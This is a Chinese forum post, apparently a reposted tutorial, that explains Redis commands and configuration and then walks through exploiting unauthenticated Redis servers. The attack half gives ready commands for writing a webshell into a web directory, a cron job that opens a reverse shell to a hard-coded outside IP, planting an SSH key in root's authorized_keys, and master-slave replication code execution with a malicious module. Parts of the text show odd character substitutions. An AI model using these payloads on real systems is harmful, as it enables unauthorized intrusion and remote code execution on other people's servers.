redis相关

[复制链接]
发表于 昨天 12:49 来自手机 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
Redis是用C语言开发的一个开源的高性能键值对(key-value)数据库
1.数据间没有一定的联系
2.内部采用单线程机制工作
3.性能高,支持每秒十几万次的读写操纵
4.多数据范例支持:字符串范例(string)、列表范例(list)、散列范例(hash)、集合范例(set)、有序集合范例(sorted_set)
5.持久化支持
Redis的应用场景也非常广泛,如热门新闻、购票抢票、即时信息查询、时效性信息控制、消息队列、分布式锁等等。
默认端口:6379
string范例
添加/修改数据
set key value
config set用于修改redis配置
config set key value
redis未授权
条件:
● redis未设置暗码或配置绕过
● redis服务对外网开放
● 攻击者可直接或间接通过SSRF等方式访问redis
配置项        默认值        伤害分析
bind        127.0.0.1        如果被手动改成 0.0.0.0
,将袒露在公网
protected-mode        yes        如果绑定了公网 IP 且此项为 no,会答应外部访问
requirepass        无        默认没有认证,任何人可毗连 Redis
CONFIG, SAVE        默认开启        可修改配置并持久化数据,配合使用可写入恣意系统文件
常用命令
不区分巨细写
使用keys *可以列出当前数据库中的所有键;
当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
如果键的值中有空格,需要使用双引号括起来,如"Hello World";
redis-cli -h ip -p 6379 -a passwd   # 外部毗连,Redis 的毗连除了通过指定 IP,也可以通过指定域名
info                                                                                                                                 # 查看相关redis信息
set xx “Hacker”                     # 设置键xx的值为字符串Hacker
get xx                              # 获取键xx的内容
INCR score                          # 使用INCR命令将score的值增加1
keys *                              # 列出当前数据库中所有的键
config set protected-mode no        # 关闭安全模式
get anotherkey                      # 获取一个不存在的键的值
config set dir /root/redis          # 设置保存目次
config set dbfilename redis.rdb     # 设置保存文件名
config get dir                      # 查看保存目次
config get dbfilename               # 查看保存文件名
save                                # 进行一次备份操纵
flushall                            # 删除所有数据
del key                             # 删除键为key的数据
slaveof ip port                                           # 设置主从关系
127.0.0.1:6379> mset k1 v1 k2 v2 k3 v3   #批量设置键值对
OK
127.0.0.1:6379> mget k1 k2 k3                 #批量获取键值对
1) “v1”
2) “v2”
3) “v3”
redis配置文件参数
port参数:
格式为port背面接端标语,如port 6379,表示Redis服务器将在6379端口上进行监听来等候客户端的毗连。
bind参数:
格式为bind背面接IP所在,可以同时绑定在多个IP所在上,IP所在之间用空格分离,如bind 192.168.47.173 10.0.0.1,表答应192.168.47.173和10.0.0.1两个IP毗连。如果设置为0.0.0.0则表示恣意ip都可毗连,说白了就是白名单。
save参数:
格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
save 900 1
save 300 10
save 60 10000
表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操纵。
requirepass参数:
格式为requirepass后接指定的暗码,用于指定客户端在毗连Redis服务器时所使用的暗码。Redis默认的暗码参数是空的,分析不需要暗码即可毗连;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared暗码才能毗连Redis数据库。
dir参数:
格式为dir后接指定的路径,默以为dir ./,指明Redis的工作目次为当前目次,即redis-server文件所在的目次。注意,Redis产生的备份文件将放在这个目次下。
dbfilename参数:
格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默以为dbfilename dump.rdb,即备份文件的名字为dump.rdb。
config命令:
通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较伤害,以是Redis在配置文件中提供了rename-command参数来对其进行重定名操纵,如rename-command CONFIG HTCMD,可以将CONFIG命令重定名为HTCMD。配置文件默认是没有对CONFIG命令进行重定名操纵的。
protected-mode参数:
redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部毗连,以是在测试时,先在配置中修改为no。
测试
环境搭建
wget https://download.redis.io/releases/redis-4.0.10.tar.gz
tar -zxvf redis-4.0.10.tar.gz
cd redis-4.0.10/src//然后进入redis的src目次下
然后进行编译安装
make
make install
服务器端(ubuntu:192.168.80.133)安装好redis之后,编辑redis.conf:
● 将bind 127.0.0.1注释
● protected-mode的yes改为no
● daemonize的no改为yes
进入到src目次进行编译:make   make install
在src目次,启动redis:./redis-server …/redis.conf
接着攻击机(100.125.70.22)启动redis客户端
./redis-cli -h 192.168.80.133 -p 6379 -a “aaa” --raw
-h:远程毗连的主机
-p:远程毗连的端口
-a:暗码(如果没有暗码的话可写可不写)
–raw:办理中文乱码
使用exit或者quit退出毗连。
使用
拿到shell的三种方式
● 通过写SSH key
● 通过向web目次写webshell
● 通过写crontab筹划任务
写入webshell
当目标开启了web服务器,并且知道web路径时可以使用,并且还需有增删改查权限。
./redis-cli -h 192.168.80.133 -p 6379 --raw
config set dir /var/www/html
config set dbfilename haha.php
set webshell “<?php phpinfo(); ?>”
save
使用筹划任务反弹shell
需要目标机器是CentOS才行
● Centos 的定时任务文件在 /var/spool/cron/或/etc/crontab/
● Ubuntu 的定时任务文件在 /var/spool/cron/crontabs/或/etc/crontab/
将恣意文件写到/etc/cron.d/*目次下,效果和crontab一样,使用这个目次可以做到不覆盖任何文件的情况下弹shell。
Ubuntu不可以用的原因:
● redis默认写文件为644权限,CentOS的定时任务文件权限644也可以执行,但Ubuntu要求定时任务文件权限是600才能执行
● redis保存RDB会存在乱码,在Ubuntu上会报错,在CentOS上不会
#攻击机开启监听
nc -lvnp 6666
#攻击机再开一个窗口毗连redis
./redis-cli -h 192.168.80.133 -p 6379 --raw
#毗连redis之后要使用的payload
//设置key
set xxx “\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/81.70.207.140/6666 0>&1\n\n”
/ 设置路径
config set dir /var/spool/cron/
// 设置文件名
config set dbfilename root
// 保存key值到root文件中
save
\n是为了换行,防止crontab语法错误







        • *:cron 定时规则 ,格式:分 时 日 月 星期 命令即每分钟执行一次背面的命令



通过写入SSH公钥进行SSH登录
起首在攻击机端生成公钥,选项都默认保存即可。将生成的key.txt保存下来。
#生成公钥
ssh-keygen -t rsa
#默认生成在/root/.ssh目次下
cd /root/.ssh
#将公钥写入key.txt文件(前后用\n换行,制止和redis里其他缓存数据混合)
(echo -e “\n”;cat id_rsa.pub;echo -e “\n”)>key.txt
#将key.txt写入到redis缓冲中(如果是windows可以使用type更换cat)
cat key.txt | redis-cli -h 182.92.8.34 -x set pub
#毗连redis
./redis-cli -h 182.92.8.34
#设置目次未/root/.ssh(默认没有,只有创建ssh毗连才会生成,因此可以通过定时任务生成一个名为.ssh的目次)
config set dir /root/.ssh
#将文件名设置为authorized_keys
config set dbfilename authorized_keys
#保存
save
然后进行免密毗连
ssh -i id_rsa root@182.92.8.34
主从复制
存在于4.x、5.x版本中,Redis提供主从复制模式,使用redis作为主机,其他作为备份机,主从机数据一样,主机只负责写,从机只负责读。
在Redis4.x之后,新增模块功能,通过外部拓展,可以实现在redis中实现一个新的redis命令,通过c编译并加载恶意.so文件,到达代码执行的目的。
使用工具:
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
https://github.com/Ridter/redis-rce
#攻击机先使用RedisModules-ExecuteCommand生成.so文件
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make # 生成module.so
#下载代码执行工具
git clone https://github.com/Ridter/redis-rce
cd redis-rce-master
#将刚才的.so文件复制到当前目次下
cp /root/redis/RedisModules-ExecuteCommand/RedisModules-ExecuteCommand-master/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

python redis-rce.py -r 182.92.8.34 -p 6379 -L 81.70.207.140 -f module.so
#然后即可代码执行

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
继续阅读请点击广告
回复

使用道具 举报

×
登录参与点评抽奖,加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表